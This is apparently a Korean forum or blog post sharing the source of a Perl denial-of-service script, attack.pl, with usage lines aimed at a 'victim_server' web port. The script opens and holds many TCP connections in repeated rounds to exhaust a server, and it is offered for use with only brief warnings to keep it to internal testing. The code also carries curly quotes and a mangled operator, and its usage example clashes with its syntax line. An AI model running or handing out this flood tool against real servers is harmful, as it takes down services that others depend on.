[보안] Dos 공격 소스
# attack.pl
사용법
./test.pl victim_server port번호 180 300 1
예) httpd DoS : ./test.pl victim_server 80 110 180 300 1
1. 내부 테스트의 용도로만 사용할것,
2. 로그가 남으니 절대 임의의 서버에 공격하지 말것,
3. 피해가 심각하므로 절대 외부 서버에 공격하지 말것.
#!/usr/bin/perl
use Socket;
sub sout{print “$0: @_\\n”;}
sub sconnect{
my ($s,$p)=split(/ /,shift);
if ($p<1){$p=80;}
my ($ia,$pa,$proto,$j,$l,$t);
$ia=inet_aton($s);
$pa=sockaddr_in($p,$ia);
$proto=getprotobyname(‘tcp’);
$j=0;$l=0;
&sout(“$s($p): attempting to connected $i socket(s).”);
while ($l<$i){
$t=”SOCK$l”;
socket($t,PF_INET,SOCK_STREAM,$proto);
connect($t,$pa)||$j–;
$j++;$l++;
}
&sout(“$s($p): connected $j of $l socket(s) successfully, waiting
$k\\s.”);
sleep($k);&sout(“$s($p): done waiting, killing socket(s).”);
$l=0;
while ($l<$i){
$t=”SOCK$l”;
shutdown($t,2)||&sout(“$s($p): error shutting down socket. [$l]”);
$l++;
}
&sout(“completed round($n), eof.”);
}
$k=$ARGV[2];if (!$k){$k=1;}
$i=$ARGV[3];if (!$i){$i=1;}
$m=$ARGV[4];if (!$m){$m=1;}
$n=0;
if (!$ARGV[1]){
print “syntax: $0 <server port> [delay, -1=forever] [number]
[repetitions,
-1=forever]\\n”;
exit(0);
}
&sout(“flood info: number of socket(s) : $i.”);
&sout(“flood info: delay between repetition(s): $k.”);
&sout(“flood info: repetition(s) : $m.”);
while ($n<$m||$m==-1){
&sconnect(“@ARGV”);
$n++;
}
exit(0);